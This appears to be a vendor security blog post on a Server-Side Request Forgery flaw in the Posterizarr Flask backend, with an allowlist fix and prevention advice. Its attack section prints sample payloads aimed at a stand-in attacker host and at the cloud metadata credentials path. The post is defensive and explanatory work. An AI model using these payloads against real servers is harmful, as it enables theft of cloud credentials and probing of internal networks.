Back to Blog
high SEVERITY5 min read

How Server-Side Request Forgery (SSRF) happens in Python Flask and how to fix it

A high-severity Server-Side Request Forgery (SSRF) vulnerability was discovered in `webui/backend/main.py` at line 6597 of the Posterizarr project. User-controlled `request.media_type` was interpolated directly into a URL used for server-side HTTP requests to The Movie Database (TMDB) API, allowing attackers to manipulate the destination of outbound requests. The fix introduces a strict allowlist that only permits `"movie"` or `"tv"` as valid media types.

O
By Orbis AppSec
Published July 21, 2026Reviewed July 21, 2026

Answer Summary

This is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in a Python Flask application where `request.media_type` from user input was directly interpolated into a URL passed to a server-side HTTP request to the TMDB API. The fix validates `request.media_type` against a strict allowlist dictionary (`{"movie": "movie", "tv": "tv"}`) before constructing the URL, preventing attackers from manipulating the request destination.

Vulnerability at a Glance

cweCWE-918
fixAdded allowlist validation restricting `media_type` to only `"movie"` or `"tv"` before URL construction
riskAttacker can redirect server-side requests to arbitrary internal or external hosts
languagePython (Flask)
root causeUser-controlled `request.media_type` interpolated directly into outbound request URL without validation
vulnerabilityServer-Side Request Forgery (SSRF)

How Server-Side Request Forgery (SSRF) Happens in Python Flask and How to Fix It

Introduction

In the Posterizarr project's webui/backend/main.py, a high-severity SSRF vulnerability was discovered at line 6597. The application's search functionality constructs a URL to query The Movie Database (TMDB) API, but it directly interpolates request.media_type — a user-controlled value — into the URL path without any validation. This means an attacker could craft a malicious media_type value to redirect the server's outbound HTTP request to an arbitrary destination, potentially accessing internal services, cloud metadata endpoints, or other sensitive resources behind the network perimeter.

This is particularly dangerous because the application is containerized and publicly accessible, meaning an attacker on the internet could leverage this endpoint to probe the internal network infrastructure that the container has access to.

The Vulnerability Explained

The vulnerable code constructed a TMDB API search URL by directly embedding user input:

search_url = f"https://api.themoviedb.org/3/search/{request.media_type}"
search_params = {"query": request.query, "page": 1}

At first glance, this looks harmless — the URL appears to always point to api.themoviedb.org. However, request.media_type is controlled by the user. An attacker could supply a crafted value like:

../../../../../../attacker.com/steal?data=

Or more critically, they could use path traversal or URL manipulation techniques to redirect the request entirely. Depending on the HTTP library's URL parsing behavior, a media_type value like:

movie/../../../..%00@internal-service:8080/admin

could cause the server to make requests to internal services that should never be accessible from the public internet.

Real-World Attack Scenario

Consider this attack flow against the Posterizarr web UI:

  1. An attacker sends a search request with media_type set to a crafted value targeting the cloud metadata service: ../../../169.254.169.254/latest/meta-data/iam/security-credentials/
  2. The server constructs the URL and makes the request on behalf of the attacker
  3. If the response is forwarded back to the user, the attacker receives AWS IAM credentials or other cloud metadata
  4. Even if the response isn't forwarded, the attacker can use timing-based techniques to map internal network topology

Since this is a containerized service, the container's network namespace likely has access to other internal services (databases, caches, admin panels) that are not exposed to the public internet.

The Fix

The fix introduces a strict allowlist that maps acceptable media_type values to their safe counterparts:

Before (vulnerable):

search_url = f"https://api.themoviedb.org/3/search/{request.media_type}"
search_params = {"query": request.query, "page": 1}

After (fixed):

allowed_media_types = {"movie": "movie", "tv": "tv"}
if request.media_type not in allowed_media_types:
    raise ValueError(f"Invalid media_type: {request.media_type}")
safe_media_type = allowed_media_types[request.media_type]
search_url = f"https://api.themoviedb.org/3/search/{safe_media_type}"
search_params = {"query": request.query, "page": 1}

This fix works on multiple levels:

  1. Explicit allowlist: Only "movie" and "tv" are accepted — any other value raises a ValueError immediately
  2. Indirect reference map: Even if an attacker somehow bypasses the not in check, the value used in the URL comes from the dictionary's values, not from user input
  3. Fail-closed design: Unknown values result in an exception rather than a potentially dangerous request

The dictionary-based approach is particularly elegant because it creates an indirection layer. The URL is constructed using allowed_media_types[request.media_type] (the dictionary value), not request.media_type itself. This means even if a future code change accidentally weakens the validation check, the actual URL will still only contain the pre-defined safe strings.

Prevention & Best Practices

1. Always Use Allowlists for URL Components

When user input contributes to URL construction, validate against an explicit set of allowed values. Never rely on blocklists or sanitization alone — attackers are creative.

2. Separate User Input from URL Construction

Use indirect references (like the dictionary pattern in this fix) so that user input is never directly embedded in URLs, even after validation.

3. Implement Network-Level Controls

For containerized applications:
- Block outbound requests to RFC 1918 addresses and link-local ranges (169.254.x.x)
- Use network policies to restrict which services the container can reach
- Consider using an HTTP proxy that enforces URL allowlists

4. Don't Forward Proxied Responses

If you must make server-side requests based on user input, never forward the raw response body back to the user. Extract only the specific fields you need.

5. Use Static Analysis in CI/CD

Tools like Semgrep can catch SSRF patterns automatically. The rule python.flask.security.injection.ssrf-requests.ssrf-requests specifically detects when Flask request data flows into HTTP client calls.

Key Takeaways

  • request.media_type at line 6597 was the attack vector — a seemingly innocent path component that could redirect entire server-side requests
  • The TMDB API proxy pattern is common and commonly vulnerable — any time your server makes requests on behalf of users, SSRF risk exists
  • Dictionary-based allowlists provide defense-in-depth — even if the validation check is bypassed, the URL only contains pre-approved strings from dictionary values
  • Containerized services amplify SSRF impact — internal network access from a container can expose databases, admin panels, and cloud metadata endpoints
  • A ValueError exception is the correct failure mode — fail closed, don't attempt to "sanitize" the input and proceed

How Orbis AppSec Detected This

  • Source: User-controlled request.media_type from the incoming HTTP request object in webui/backend/main.py
  • Sink: String interpolation into search_url at line 6597, which is subsequently passed to an HTTP client for a server-side request to the TMDB API
  • Missing control: No validation or allowlist check on request.media_type before URL construction
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Fix: Added an allowlist dictionary restricting media_type to "movie" or "tv", raising a ValueError for any other value

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This SSRF vulnerability in Posterizarr's search functionality demonstrates how even well-intentioned API proxy code can become a security liability when user input flows unchecked into URL construction. The fix — a simple four-line allowlist — eliminates the attack surface entirely while preserving the application's functionality. When building any feature that makes server-side requests based on user input, always ask: "What's the complete set of valid values here?" If you can enumerate them, use an allowlist. Your future self (and your security team) will thank you.

References

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #621

Related Articles

high

stream_media_file SSRF: src Parameter Reaches requests.get()

A media-download helper accepted a fully attacker-controlled URL from the `src` query parameter and passed it straight to `requests.get()`, turning the service into an open HTTP proxy for internal networks and cloud metadata endpoints. The fix introduces an `assert_safe_url()` guard that resolves the hostname with `getaddrinfo()` and rejects private, loopback, link-local, reserved, and multicast addresses before any request is issued. The guard is now called at the top of both `download_media_fi

high

ip-address 10.2.0 SSRF: Inconsistent Parsing Bypasses IP Checks

The `ip-address` npm package version 10.2.0 contains an inconsistent parsing vulnerability that allows attackers to bypass IP-based access controls. By representing IPv4 addresses in IPv4-mapped IPv6 notation, attackers can trick applications into allowing requests to blocked internal addresses. Upgrading to 10.3.1 resolves this through stricter address normalization.

medium

How gitlab.bandit.B501 happens in Python and how to fix it

The `proverbia-scraper.py` script disabled TLS certificate verification on its `requests.get()` call and silenced the resulting security warnings, exposing the scraper to man-in-the-middle attacks. The fix removes the `verify=False` flag and the warning suppression, restoring proper certificate validation while keeping the existing 30-second timeout intact.

high

How Server-Side Request Forgery (SSRF) happens in Go HTTP handlers and how to fix it

A Server-Side Request Forgery (SSRF) vulnerability was discovered in `internal/web/controller/server.go` where the `applySubTemplate` endpoint accepted arbitrary URLs from user input and passed them directly to `serverService.ApplySubTemplateFromGithub()` without any host validation. An attacker could exploit this to make the server issue HTTP requests to internal network resources, cloud metadata endpoints, or redirect-controlled destinations. The fix introduces a strict allowlist that restrict

critical

How SSRF via Vulnerable Dependency Versions Happens in Node.js and How to Fix It

A permissive semver range in `package.json` allowed npm to install axios versions vulnerable to SSRF (CVE-2024-39338). By bumping the minimum version from `^1.6.0` to `^1.7.4`, all downstream consumers of this SDK are now protected from server-side request forgery attacks. This critical fix required changing just one line in the dependency manifest.

critical

How Server-Side Request Forgery happens in Python FastAPI and how to fix it

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in app.py where the `/parse` and `/parse-video` endpoints accepted user-supplied URLs with only substring validation. The application checked if 'doubao.com' appeared anywhere in the URL string, allowing attackers to bypass this check and access internal services, cloud metadata endpoints, or scan the internal network. The fix implemented proper hostname parsing with an allowlist of legitimate domains.